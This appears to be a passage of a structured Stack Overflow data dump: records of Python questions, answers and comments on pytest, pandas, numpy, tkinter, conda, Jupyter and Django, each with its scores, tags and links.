has body: A simple use of @lru_cache in your file parsing function can also do the caching trick: @lru_cache(maxsize=3) def load_file(file_name): """ This function loads the file and returns contents""" print("loading file " + file_name) return "<dummy content for " + file_name + ">" You can also reach the same result while making the whole code a bit more readable by separating the test functions from the test cases with pytest-cases (I'm the author by the way!): from functools import lru_cache from pytest_cases import parametrize_with_cases @lru_cache(maxsize=3) def load_file(file_name): """ This function loads the file and returns contents""" print("loading file " + file_name) return "<dummy content for " + file_name + ">" def case_1(): return load_file('file1') def case_2(): return load_file('file2') def case_3(): return load_file('file3') @parametrize_with_cases("pars", cases=[case_1, case_2]) def test_a(pars): print('test_a', pars) @parametrize_with_cases("pars", cases=[case_2, case_3]) def test_b(pars): print('test_b', pars) @parametrize_with_cases("pars", cases=[case_1, case_2, case_3]) def test_c(pars): print('test_c', pars) Yields: loading file file1 test_a <dummy content for file1>PASSED loading file file2 test_a <dummy content for file2>PASSED test_b <dummy content for file2>PASSED loading file file3 test_b <dummy content for file3>PASSED test_c <dummy content for file1>PASSED test_c <dummy content for file2>PASSED test_c <dummy content for file3>PASSED Finally note that depending on your use case you might wish to switch to a case generator by using @parametrize on a case function, that could be more readable: from pytest_cases import parametrize @parametrize("file_name", ["file1", "file2"]) def case_gen(file_name): return load_file(file_name) Also look at tags & filters, if you do not want to hardcode the cases explicitly.
has comment: http://stackoverflow.com/comment/89379844
has comment: http://stackoverflow.com/comment/121913811
score: 1

http://stackoverflow.com/comment/81051411
has text: Great! You can also use `sns.set(style='ticks', rc={"axes.grid":True})`
type: Comment
comment on: http://stackoverflow.com/a/47051855
type: AnswerComment
score: 1

http://stackoverflow.com/comment/80886464
score: 0
has text: Can you add some data sample with desired output?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46969496

http://stackoverflow.com/comment/80825787
type: AnswerComment
type: Comment
has text: Interesting, the solution works for me. Did you save your file?
score: 0
comment on: http://stackoverflow.com/a/46939179

http://stackoverflow.com/a/46992956
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/80932635
answers question: http://stackoverflow.com/q/46992799
upvote count: 1
has body: You can use the following regex to achieve this: regex = r"(\bBEGIN\b([\w\n]*?)\bEND\b\n)" Live demo here You can match using the above regex and then replace with empty string ('') Here's an working example in Python for the same. CODE result = re.sub(regex, '', test_str, 0) # test_str is your file's content &gt;&gt;&gt; print(result) &gt;&gt;&gt; a b f g h i j r s t u v z

http://stackoverflow.com/comment/80791504
type: QuestionComment
comment on: http://stackoverflow.com/q/46921222
type: Comment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/157414/discussion-between-mauricio-cortazar-and-ethan-baxter).
score: 0

http://stackoverflow.com/q/46987050
tagged with: python
has comment: http://stackoverflow.com/comment/80920912
has comment: http://stackoverflow.com/comment/80921325
accepted answer: http://stackoverflow.com/a/46987754
has title: Make list of arrays in python
tagged with: numpy
type: AnsweredQuestion
score: 0
upvote count: 2
downvote count: 2
tagged with: arrays
answer count: 1
has body: I am making a neural network in Python and I want to generate training data for it. I need to make list of arrays. I tried turning the arrays into lists. I tried the numpy.append() function and nothing worked.
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46987754

http://stackoverflow.com/q/47024305
type: Question
has title: Select cell value from row based on value in another column in Pandas with Python
has comment: http://stackoverflow.com/comment/80995830
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80995750
tagged with: python
has comment: http://stackoverflow.com/comment/80995923
answer count: 0
tagged with: pandas
linked to: http://stackoverflow.com/q/17071871
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/80995771
downvote count: 0
has body: How can I get a value from a cell based on a value of another cell of the same row? For example, let's say I have the following dataframe: A C D 0 foo1 0 0 1 foo2 2 4 2 foo3 9 8 3 foo4 6 12 4 foo5 7 14 How can I grab the value from column C of the row that has foo3 in column A? In this example, it is 9. I am using Pandas with Python.
favorite count: 0
duplicate of: http://stackoverflow.com/q/17071871

http://stackoverflow.com/q/46947848
has comment: http://stackoverflow.com/comment/80897321
tagged with: conda
has comment: http://stackoverflow.com/comment/80898563
tagged with: tensorflow
type: Question
answer count: 0
type: UnansweredQuestion
has title: Installing Tensorflow to conda virtual env
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/80921081
has body: I've compiled tensorflow from source. I've wheel file (/tmp/tensorflow_pkg//tmp/tensorflow_pkg/tensorflow-1.3.0-cp27-cp27mu-linux_x86_64.whl). What I want to do is to install this wheel file to specific conda virtual environment. What I've tried so far 1. Installing using pip After activating the virtual env. But this installs the package for all envs. 2. Installing with the following command conda install -n env_name /tmp/tensorflow_pkg/tensorflow-1.3.0-cp27-cp27mu-linux_x86_64.whl But I get the following error. Fetching package metadata ........... PackageNotFoundError: Packages missing in current channels: - /tmp/tensorflow_pkg/tensorflow-1.3.0-cp27-cp27mu-linux_x86_64.whl We have searched for the packages in the following channels: - https://repo.continuum.io/pkgs/main/linux-64 - https://repo.continuum.io/pkgs/main/noarch - https://repo.continuum.io/pkgs/free/linux-64 - https://repo.continuum.io/pkgs/free/noarch - https://repo.continuum.io/pkgs/r/linux-64 - https://repo.continuum.io/pkgs/r/noarch - https://repo.continuum.io/pkgs/pro/linux-64 - https://repo.continuum.io/pkgs/pro/noarch How could I install wheel package to conda environment.
has comment: http://stackoverflow.com/comment/80897177
has comment: http://stackoverflow.com/comment/80897478
score: 0
has comment: http://stackoverflow.com/comment/80905020
has comment: http://stackoverflow.com/comment/80928833
tagged with: python

http://stackoverflow.com/comment/80763561
score: 1
type: Comment
type: AnswerComment
has text: If the file has only comma separated numbers (no new line) you can just read the file and get your list like: `userInt = [int(s.strip()) for s in open('your_file.txt').read()]`
comment on: http://stackoverflow.com/a/46907848

http://stackoverflow.com/comment/80833124
type: QuestionComment
comment on: http://stackoverflow.com/q/46941683
has text: Well, it depends, have you loaded it into something, then saved back over it and let it do what it wants in regards to that? Do you have CSV files that are properly formatted you can use? Can you read from the document directly using `read_excel` instead of `read_csv` etc...
score: 0
type: Comment

http://stackoverflow.com/comment/81003220
comment on: http://stackoverflow.com/a/47028044
type: AnswerComment
has text: Glad to hear :) Also you might want to use backticks (ie, `\``) for the inline code - it's looks nicer than bold (in my opinion anyway)
score: 0
type: Comment

http://stackoverflow.com/a/47037786
downvote count: 1
has body: If I've read the question right, you want to sort the list like requested inside each loop, with your pop/logic/append. Here I'll just give some logic to do the sort. We can do this with a couple list comprehensions: #first find list1 which are in list 2, and vice versa. Sort these by key1, so that they will match up. list1matches = sorted([i for i in list1 if i['key1'] in [i['key1'] for i in list2]], key = lambda x: x.get('key1')) list2matches = sorted([i for i in list2 if i['key1'] in [i['key1'] for i in list1]], key = lambda x: x.get('key1')) #find non matches, sort by key2 list1non = sorted([i for i in list1 if i not in list1matches], key = lambda x: x.get('key2')) list2non = sorted([i for i in list2 if i not in list2matches], key = lambda x: x.get('key2')) #rebuild the lists list1 = list1matches + list1non list2 = list2matches + list2non
has comment: http://stackoverflow.com/comment/81022763
score: -1
has comment: http://stackoverflow.com/comment/81023008
has comment: http://stackoverflow.com/comment/81022658
upvote count: 0
has comment: http://stackoverflow.com/comment/81022874
type: Answer
answers question: http://stackoverflow.com/q/47036156

http://stackoverflow.com/comment/81068023
has text: Well, that would be another question, you'd need to use a loop that allows you to keep asking the user. I'd recommend you to search about while loops and try to implement it on your code. If possible, always research before posting a question here, and please upvote or accept the answer that worked for your question.
score: 0
comment on: http://stackoverflow.com/a/47059052
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80826440
type: QuestionComment
score: 0
has text: You never define output in this code, I assume it's defined elsewhere. Can you post more a more complete code example?
comment on: http://stackoverflow.com/q/46939636
type: Comment

http://stackoverflow.com/comment/80971987
has text: @luc I added full code of the view.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47012130

http://stackoverflow.com/comment/81024032
has text: Yeah, don't do that.
score: 0
comment on: http://stackoverflow.com/q/47038727
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47019008
has title: Duplicate element being added through for loop
downvote count: 1
linked to: http://stackoverflow.com/q/1207406
favorite count: 0
type: Question
score: 0
has comment: http://stackoverflow.com/comment/80984628
tagged with: python
has comment: http://stackoverflow.com/comment/80985600
type: AnsweredQuestion
tagged with: python-2.7
tagged with: list
tagged with: for-loop
accepted answer: http://stackoverflow.com/a/47019487
answer count: 1
tagged with: del
has answer: http://stackoverflow.com/a/47019487
has body: NOTE: I do not want to use del I am trying to understand algorithms better which is why I want to avoid the built-in del statement. I am populating a list of 10 randomly generated numbers. I then am trying to remove an item from the list by index, using a for loop: if remove_index &lt; lst_size: for value in range(remove_index, lst_size-1): lst[value] = lst[value+1] lst_size -= 1 Everything works fine, except that the loop is adding the last item twice. Meaning, if the 8th item has the value 4, it will add a 9th item also valued 4. I am not sure why it is doing this. I still am able to move the value at the selected index (while moving everything up), but it adds on the duplicate.
upvote count: 1

http://stackoverflow.com/q/47047694
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47047897
possible better answer: http://stackoverflow.com/a/47047927
has answer: http://stackoverflow.com/a/47047897
tagged with: python
has answer: http://stackoverflow.com/a/47047927
has comment: http://stackoverflow.com/comment/81042777
has title: Python: Object-oriented Programming (getting age of Artist)
has body: Question: Create an age method in the Artist class, which would return the age of the artist as of 'today'. (get_date_today() already predefined) For example: Artist("Hayley Williams", (1988, 12, 27)).age() will return 24. It should work for other examples as well, not just this. My attempt: def get_date_today(): return (2013, 10, 30) class Artist(object): def __init__(self, name, dob): self.name = name self.dob = dob def get_name(self): return self.name def get_dob(self): return self.dob def age(self): return ((get_date_today())) - get_dob(self))/365 However i realise i can't just subtract tuples. Anyone has any idea how to improve this solution?
answer count: 2
has comment: http://stackoverflow.com/comment/81042810
score: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/80837693
type: Comment
comment on: http://stackoverflow.com/q/46945226
type: QuestionComment
has text: Voting to close this question as it is incredibly broad.
score: 1

http://stackoverflow.com/q/46970814
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47035751
possible better answer: http://stackoverflow.com/a/47035751
upvote count: 1
has body: I have the following piece of code: input_data = pd.read_csv('file_name.tsv', sep='\t') data = sparse.csr_matrix(data.values) model = TruncatedSVD(n_components=2) model.fit(data) Now TruncatedSVD does take sparse matrices from scipy but it does not take NaN. I expected the crs_matrix function to strip NaN but it does not and I can't find a way to strip these NaN's from my scipy matrix. Is there a good way to do this? I can't find a function within scipy.
has comment: http://stackoverflow.com/comment/80889517
downvote count: 1
tagged with: scikit-learn
tagged with: scipy
has answer: http://stackoverflow.com/a/47035518
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80889779
has comment: http://stackoverflow.com/comment/80889602
has comment: http://stackoverflow.com/comment/80889363
tagged with: python
has title: removing NaN from a scipy sparse matrix
accepted answer: http://stackoverflow.com/a/47035518
type: Question

http://stackoverflow.com/a/46976706
has body: It entirely depends on what you are going to teach them, but matplotlib could be a good idea. Combine that with numpy and...
score: 0
answers question: http://stackoverflow.com/q/46976627
type: Answer

http://stackoverflow.com/comment/80908344
score: 0
has text: I added a snapshot, this is what I get
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46977744

http://stackoverflow.com/comment/128051495
has text: Now that support for this has landed in mypy & Python 3.10 I tried this out, but I get this error on the typing of the `Callable` declarations (`Param = ParamSpec("Param"); MyFunc = Callable[Param, RetType]`): mypy: `error: The first argument to Callable must be a list of types, parameter specification, or "..."`
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/68290080

http://stackoverflow.com/comment/80852473
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46926293
type: AnswerComment
has text: Thank you very much. I tried,and it worked well.When I train the vgg model, I used tf.image.per_image_standardization() .When I test,should I use this function again?

http://stackoverflow.com/q/46967661
type: Question
possible better answer: http://stackoverflow.com/a/46967843
answer count: 2
downvote count: 0
has body: This is the dataframe that I'm working with... Customer_Id ProductName Rating ABCD X1 2 EFGH X2 2 IJKL Y1 2 MNOP Y2 2 MNOP X2 2 On pivot, pd.pivot(ratingDF, values = 'Rating', index = 'Customer_Id', columns = 'ProductName') I get an error saying TypeError: pivot_simple() got multiple values for argument 'index' I am very confused as to why this is happening. I am trying to make the customer id the index, the productnames the columns and ratings the content of the dataframe. Any leads will be appreciated.
has comment: http://stackoverflow.com/comment/80882971
has answer: http://stackoverflow.com/a/46967725
accepted answer: http://stackoverflow.com/a/46967725
has answer: http://stackoverflow.com/a/46967843
type: AnsweredQuestion
upvote count: 3
has title: Simple pivot of a dataframe is not working
score: 3
has comment: http://stackoverflow.com/comment/80882731
tagged with: pandas
tagged with: python
favorite count: 0

http://stackoverflow.com/q/46922221
linked to: http://stackoverflow.com/q/5767228
score: -1
tagged with: tkinter
has comment: http://stackoverflow.com/comment/80822886
upvote count: 0
has answer: http://stackoverflow.com/a/46922279
answer count: 2
duplicate of: http://stackoverflow.com/q/5767228
downvote count: 1
has comment: http://stackoverflow.com/comment/80928809
has body: I tried to create a window with a button that creates another window. m = Tk() def new(a,b): r = Tk() r.geometry(str(a) + "x" + str(b) + "+0+0") b = Button(m, text="Click", command=new(100,300)).place(x=0,y=0) m.mainloop() Instead of getting a window with a button i get two without clicking the button. The two windows.png What did i do wrong?
favorite count: 0
has comment: http://stackoverflow.com/comment/80817799
has title: Why do i get 2 tkinter windows from the start?
type: Question
has answer: http://stackoverflow.com/a/46922411
tagged with: python
type: UnansweredQuestion

http://stackoverflow.com/comment/80983723
score: 1
has text: What I mean is: Why create parasitic axes via `mpl_toolkits` and not via normal subplots? Everything is much easier using usual subplots.
comment on: http://stackoverflow.com/q/46978449
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47023141
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81017050
has body: Using Python 2.7 on Windows, the following code works but causes a problem with msvc. import io import matplotlib.pyplot as plt import matplotlib.pyplot as plt2 from multiprocessing import Process, Pipe def tmpPlot(conn): plt.plot([1,2,4,2]) plt.title("title") buf = io.BytesIO() plt.savefig(buf, format='png') buf.seek(0) conn.send(plt.imread(buf)) conn.close if __name__ == '__main__': parent_conn, child_conn = Pipe() p = Process(target=tmpPlot, args=(child_conn,)) p.start() imgData = parent_conn.recv() imgplt = plt2.imshow(imgData) plt2.show() Here is the error: Followed by pythonw.exe has stopped working message: Problem signature: Problem Event Name: APPCRASH Application Name: pythonw.exe Application Version: 0.0.0.0 Application Timestamp: 59bd8782 Fault Module Name: python27.dll Fault Module Version: 2.7.14150.1013 Fault Module Timestamp: 59bd877e Exception Code: 40000015 Exception Offset: 0014098b OS Version: 6.0.6002.2.2.0.768.3 Locale ID: 1033 Additional Information 1: ac4a Additional Information 2: 817fddeef0c50f6183a834229ec12634 Additional Information 3: 3df9 Additional Information 4: 47d9390827b4b422b52d14c0c48ab5d9 Read our privacy statement: http://go.microsoft.com/fwlink/?linkid=50163&amp;clcid=0x0409
answer count: 1
type: Question
accepted answer: http://stackoverflow.com/a/47046610
tagged with: pipe
tagged with: matplotlib
has answer: http://stackoverflow.com/a/47046610
tagged with: python
tagged with: multiprocessor
has comment: http://stackoverflow.com/comment/81015109
has title: Sending data (BytesIO buffer) through a Pipe works but causes a Fatal Python exception
has comment: http://stackoverflow.com/comment/80993854
tagged with: python-2.7

http://stackoverflow.com/q/46934917
has answer: http://stackoverflow.com/a/61445497
possible better answer: http://stackoverflow.com/a/46935366
has answer: http://stackoverflow.com/a/46935366
has comment: http://stackoverflow.com/comment/80817723
tagged with: python
tagged with: selenium-webdriver
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46934988
answer count: 3
tagged with: automated-tests
has answer: http://stackoverflow.com/a/46934988
has comment: http://stackoverflow.com/comment/80817310
upvote count: 3
tagged with: java
downvote count: 3
tagged with: selenium
has body: I've been writing tests with Java, and I use WebDriverWait like this: WebDriverWait wait = new WebDriverWait(webDriver, timeoutInSeconds); wait.until(ExpectedConditions.visibilityOfElementLocated(By.id&lt;locator&gt;)); And my question comes up because I start to write test with Python, I come across WebDriverWait with Python like this: element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "myDynamicElement")) That means, WebDriverWait in Python waits and also returns an element at the same time. Can WebDriverWait in Java do the same, return an element? If it can, I have never known.
has title: Does WebDriverWait return an element in Java?
favorite count: 0
type: Question

http://stackoverflow.com/q/46921852
upvote count: 0
has title: One last issue getting DeepChem running with TensorFlow
tagged with: python
score: -3
answer count: 1
downvote count: 3
has answer: http://stackoverflow.com/a/46922675
has body: I'm trying to install the DeepChem multi objective deep learning code on a MacBook Pro with a Python 2.7 environment. I did a manual install of DeepChem and its required components and all seemed to go well, no errors. When I tried to run the test data I got an error "Failed to load the native TensorFlow runtime". I then installed TensorFlow again in the VirtualEnv Python environment and this again went well. The Tensorflow validation worked OK. I tried the DeepChem test examples again and got the same error "Failed to load the native TensorFlow runtime". Can anyone please suggest a solution? Should I provide a complete error path?
tagged with: tensorflow
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/q/47009532
score: 0
has answer: http://stackoverflow.com/a/47009579
answer count: 1
tagged with: cloud-storage
type: Question
has title: Not able to install cloudstorage
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80965676
has body: after installing cloudstorage module using pip when i am trying to import getting following error. import cloudstorage Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/Users/keshaw/vinv/lib/python2.7/site-packages/cloudstorage/__init__.py", line 56 def get_driver(driver: DriverName) -&gt; Drivers: ^ SyntaxError: invalid syntax I tried instaling different versions also but same issues
tagged with: python
has comment: http://stackoverflow.com/comment/80965566

http://stackoverflow.com/a/46910015
has comment: http://stackoverflow.com/comment/80964190
has body: You can set up a handler to log to a file and attach that to the root logger, but that will log all messages, even ones from your code. To leave your messages out of that file, use a logging.Filter subclass which filters out all messages which aren't from one of your code's top-level package namespaces. Attach that filter to your handler.
type: Answer
answers question: http://stackoverflow.com/q/46907740
score: 0

http://stackoverflow.com/comment/80993014
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47021057
has text: Why do you have a `break` in your loop? This is causing your `for u in P:` loop to end in the middle of it's very first iteration.
score: 1

http://stackoverflow.com/comment/80986706
has text: hope that helps
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47019846

http://stackoverflow.com/a/47035021
upvote count: 2
downvote count: 0
has body: I tried a simple code according to your requirements. Since you are trying to reshape a CNN output, the shape of X is same as the output of CNN in Tensorflow. HEIGHT = 100 WIDTH = 200 N_CHANELS =3 N_HIDDEN =64 X = tf.placeholder(tf.float32, shape=[None,HEIGHT,WIDTH,N_CHANELS],name='input') # output of CNN shape = X.get_shape().as_list() # get the shape of each dimention shape[0] =BATCH_SIZE , shape[1] = HEIGHT , shape[2] = HEIGHT = WIDTH , shape[3] = N_CHANELS input = tf.reshape(X, [-1, shape[1] , shape[2] * shape[3]]) print(input.shape) # prints (?, 100, 600) #Input for tf.nn.dynamic_rnn should be in the shape of [BATCH_SIZE, N_TIMESTEPS, INPUT_SIZE] #Therefore, according to the reshape N_TIMESTEPS = 100 and INPUT_SIZE= 600 #create the RNN here lstm_layers = tf.contrib.rnn.BasicLSTMCell(N_HIDDEN, forget_bias=1.0) outputs, _ = tf.nn.dynamic_rnn(lstm_layers, input, dtype=tf.float32) Hope this helps.
has comment: http://stackoverflow.com/comment/81057831
has comment: http://stackoverflow.com/comment/81025965
type: Answer
answers question: http://stackoverflow.com/q/47033886
has comment: http://stackoverflow.com/comment/81021272
score: 2

http://stackoverflow.com/q/47047042
tagged with: django
has title: Django relation lookup not creating expected query
type: Question
tagged with: postgresql
has answer: http://stackoverflow.com/a/47047192
has body: I'm using Django 1.11.6, python 3.4.2, postgresql, PyCharm 4.5.2, and windows 10 (only for development purposes). The goal is to utilize the 'Lookups that span relationships' from the Django docs. # models class AlphaType(models.Model): page_type = models.CharField(max_length=50, primary_key=True, null=False) created_on = models.DateTimeField(auto_now_add=True) modified_on = models.DateTimeField(auto_now=True) class AlphaBoard(models.Model): title = models.CharField(max_length=50) alpha_text = models.TextField(max_length=30000) created_on = models.DateTimeField(auto_now_add=True) modified_on = models.DateTimeField(auto_now=True) fk_page_type = models.ForeignKey(AlphaType, on_delete=models.CASCADE, default='general') #views .... q = AlphaBoard.objects.filter(fk_page_type__page_type='general') print(q.query) .... Just fyi, the tables have the app name prepended to the model name and the foreign key has 'id' appended to the foreign key column name. Result of the query print. SELECT "alpha_alphaboard"."id", "alpha_alphaboard"."title", "alpha_alphaboard"."alpha_text", "alpha_alphaboard"."created_on", "alpha_alphaboard"."modified_on", "alpha_alphaboard"."fk_page_type_id" FROM "alpha_alphaboard" WHERE "alpha_alphaboard"."fk_page_type_id" = "general" What I was expecting. SELECT "alpha_alphaboard"."id", "alpha_alphaboard"."title", "alpha_alphaboard"."alpha_text", "alpha_alphaboard"."created_on", "alpha_alphaboard"."modified_on", "alpha_alphaboard"."fk_page_type_id" FROM "alpha_alphaboard" INNER JOIN "alpha_alphaboard" ON "alpha_alphatype" "alpha_alphaboard"."fk_page_type_id" = "alpha_alphatype"."page_type" WHERE "alpha_alphatype"."page_type" = "general" Questions Why is the query ignoring the page_type relation from the filter? Look at the result of the printed query and the filter within the views. I should also add that I had a related_name="fk_page_type" within the AlphaBoard.fk_page_type, but I removed it. So a follow up question is why is it still picking up the relate…
has comment: http://stackoverflow.com/comment/81041590
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47047192
answer count: 1

http://stackoverflow.com/q/46908071
has comment: http://stackoverflow.com/comment/80762938
has answer: http://stackoverflow.com/a/46908531
type: AnsweredQuestion
has title: mapping summation in python
answer count: 3
has comment: http://stackoverflow.com/comment/80780356
score: 1
has body: Target I would like to compute a summmation using map function . By using the follwoing sample data: X = [[2,3,4,5,6],[1,4,5,3,5]] Y = [8.5,9.6] This is what I got for the moment: import numpy as np X = np.array([[2,3,4,5,6],[1,4,5,3,5]]) Y = np.array([8.5,9.6]) summation = X[0].dot(Y[0]) + X[1].dot(Y[1]) or summation = np.sum(X.T * Y, axis=-1) EDIT: Performance comparison t0 = time.time() print sum(map(lambda x: x*Y[np.where(X==x)[0][0]], X)) t1= time.time()-t0 print t1 0.000971078872681 t0 = time.time() print X[0].dot(Y[0]) + X[1].dot(Y[1]) t1= time.time()-t0 print t1 0.000860929489136 t0 = time.time() print X.T.dot(Y) t1= time.time()-t0 print t1 0.000858068466187 t0 = time.time() print np.sum(X.T * Y, axis=-1) t1= time.time()-t0 print t1 0.000848054885864 t0 = time.time() print summation(X,Y) t1= time.time()-t0 print t1 0.00386810302734 The fastest solution was summation with map function followed by np.sum, the slowest was map function as well.
tagged with: python
possible better answer: http://stackoverflow.com/a/46908177
has answer: http://stackoverflow.com/a/46908765
favorite count: 0
has answer: http://stackoverflow.com/a/46908177
type: Question
tagged with: numpy
upvote count: 2
tagged with: arrays
accepted answer: http://stackoverflow.com/a/46908765
has comment: http://stackoverflow.com/comment/80763975
downvote count: 1
has comment: http://stackoverflow.com/comment/80767735

http://stackoverflow.com/comment/80805742
type: Comment
type: QuestionComment
has text: No, in that case you better use a `while` loop. A `range(..)` is constructed once.
score: 0
comment on: http://stackoverflow.com/q/46929472

http://stackoverflow.com/comment/80943321
type: AnswerComment
comment on: http://stackoverflow.com/a/46998322
has text: @ailin Sometimes I do and it might be the case here. However the fact you get a bunch of output options, can easily do operations like merge,split,sum ... makes it the right choice for almost all tasks.
type: Comment
score: 0

http://stackoverflow.com/a/48048658
answers question: http://stackoverflow.com/q/46957757
downvote count: 0
type: Answer
upvote count: 1
score: 1
has body: it seems that you have not set the full path to your images it misses the slash at the beginning of the absolute path. Try /storage/emulated..... Instead of storage/emulated ....

http://stackoverflow.com/q/47022997
has answer: http://stackoverflow.com/a/64816968
has answer: http://stackoverflow.com/a/77503993
has body: I have been running a particular python script for some time. All of the script had been running perfectly fine (including in Jupyter) for many months before this. Now, somehow, the jupyter in my system has started showing the following error message at one particular line of the code (the last line of the below mentioned code). All parts of the code run fine, except for the last line of the code (where I call a user defined function to do pair counts). The user defined function (correlation.polepy) can be found from https://github.com/OMGitsHongyu/N-body-analysis This is the error message that I am getting: Kernel Restarting The kernel appears to have died. It will restart automatically. And, here is the skeleton of my Python Code: from __future__ import division import numpy as np import correlation from scipy.spatial import cKDTree File1 = np.loadtxt('/Users/Research/fname1.txt') File2 = np.loadtxt('/Users/Research/fname2.txt') masscut = 1.1*np.power(10,13) mark1 = (np.where(File1[:,0]>masscut))[0] mark2 = (np.where(File2[:,0]>masscut))[0] Data1 = File1[mark1,1:8] Data2 = File2[mark2,1:8] Xi_masscut = correlation.polepy(p1=Data1, p2=Data2, rlim=150, nbins=150, nhocells=100, blen=1024, dis_f=100) Similar problem happens (last line of the code) when I try to use IPython. When I try to use Python (implement in terminal), I get an error message (at the last line) which says "Segmentation fault: 11". I am using Python 2.7.13 :: Anaconda 2.5.0 (x86_64). I have tried the following methods already in search for a solution: 1.> I checked some of the previous links on stackoverflow where this problem has been asked: The kernel appears to have died. It will restart automatically I tried the solution given in the link above; sadly it doesn't seem to work for my case. This is the solution that was mention in the link given above: conda update mkl 2.> Just to check if the system is running out of memory, I closed all applications which are heavy on memory. My system has 16 GB …
has answer: http://stackoverflow.com/a/75665984
tagged with: ipython
has answer: http://stackoverflow.com/a/47547114
has answer: http://stackoverflow.com/a/62156362
tagged with: jupyter-notebook
has answer: http://stackoverflow.com/a/66622693
favorite count: 0
has answer: http://stackoverflow.com/a/74091615
type: Question
score: 64
has answer: http://stackoverflow.com/a/73506736
has answer: http://stackoverflow.com/a/61602637
upvote count: 64
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/42912076
downvote count: 0
has comment: http://stackoverflow.com/comment/131456482
tagged with: python
answer count: 13
has answer: http://stackoverflow.com/a/76541177
tagged with: python-2.7
has answer: http://stackoverflow.com/a/55888082
has comment: http://stackoverflow.com/comment/110071400
has title: Jupyter | The kernel appears to have died. It will restart automatically |
has comment: http://stackoverflow.com/comment/127339413
has answer: http://stackoverflow.com/a/56603061
has answer: http://stackoverflow.com/a/61333584

http://stackoverflow.com/a/46983200
type: Answer
accepted answer of: http://stackoverflow.com/q/46982965
downvote count: 0
answers question: http://stackoverflow.com/q/46982965
score: 1
upvote count: 1
type: AcceptedAnswer
has body: I'd do this with groupby + agg: df.groupby('School', as_index=False)\ .agg({'Company' : 'first', 'Type' : 'first', 'Number' : 'sum'}) School Company \ 0 Carrington Adtelem Global Education Inc. 1 DeVry Institute of Learning Adtelem Global Education Inc. 2 DeVry Institute of Technology Adtelem Global Education Inc. 3 Le Cordon Blue College of Culinary Arts Career Education Corporation Number Type 0 18 For-Profit 1 25 For-Profit 2 8 For-Profit 3 29 For-Profit I believe it's better to explicitly aggregate all columns.

http://stackoverflow.com/q/47025592
has comment: http://stackoverflow.com/comment/80998286
answer count: 1
has comment: http://stackoverflow.com/comment/81026753
has comment: http://stackoverflow.com/comment/80998427
favorite count: 0
type: Question
tagged with: network-programming
has comment: http://stackoverflow.com/comment/80998396
score: 1
tagged with: python
has body: Need some help on parsing a file. My file to import is similar to below. I want to be able search this file for any specifics "asa, nxos" so that I can write commands to each type of device. For now im looking for the best way to list each line and read it. In short, I've created a hosts-sticky file that every script will search to pull hosts data. These scripts will go out and gather additional info or make changes to like hosts. my file /etc/hosts-sticky ----------------- #Fortigate 10.10.10.4,datacenter-fw-2,dc1,prod,fortigate,fortigate,600d #CiscoNexus7Ks 10.10.10.5,datacenter-ss-core-2,dc1,prod,cisco,nxos,7018 #CiscoASAFirewalls 10.10.10.1,datacenter-admin-fw-1,dc1,prod,cisco,asa,5580 10.10.10.2,datacenter-fw-2,dc1,prod,cisco,asa,5525 10.10.10.3,datacenter-ops-fw-1,dc1,prod,cisco,asa,5515 ----------------- Example of what I think i want each line to be... My script f = open("/etc/hosts-sticky", "r") for line in f: line = f.readline().split() if line != []: print line Provides a list like... ['#Fortigate'] ['10.136.25.74,datacenter-fw-2,dc1,prod,fortigate,fortigate,600d'] ['#CiscoNexus7Ks'] ['10.65.204.27,datacenter-ss-core-2,dc1.prod,cisco,nxos,7018'] ['#CiscoASAFirewalls'] ['10.65.204.10,datacenter-admin-fw-1,dc1,prod,cisco,asa,5580'] ['10.65.248.10,datacenter-fw-2,dc1,prod,cisco,asa,5525'] ['10.65.248.113,datacenter-ops-fw-1,dc1,prod,cisco,asa,5515'] Now I would like to find all the lines with "asa" and return the ip and hostname. I thought something like this would work but it doesnt. f = open("/etc/hosts-sticky", "r") for line in f: line = f.readline().split() if line != []: my_hosts = line if 'asa' in my_hosts: print my_hosts What am I missing?
has answer: http://stackoverflow.com/a/47026023
accepted answer: http://stackoverflow.com/a/47026023
type: AnsweredQuestion
has title: Python - from file create a list find specifics matching types of devices
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81072170
type: QuestionComment
comment on: http://stackoverflow.com/q/47061791
has text: why the downvotes? seems like a normal programming question rigorously stated...?
score: 0
type: Comment

http://stackoverflow.com/q/47011764
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47012336
tagged with: pandas
tagged with: dataframe
tagged with: python
possible better answer: http://stackoverflow.com/a/47012336
favorite count: 0
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47011794
answer count: 2
score: 2
has answer: http://stackoverflow.com/a/47011794
upvote count: 2
downvote count: 0
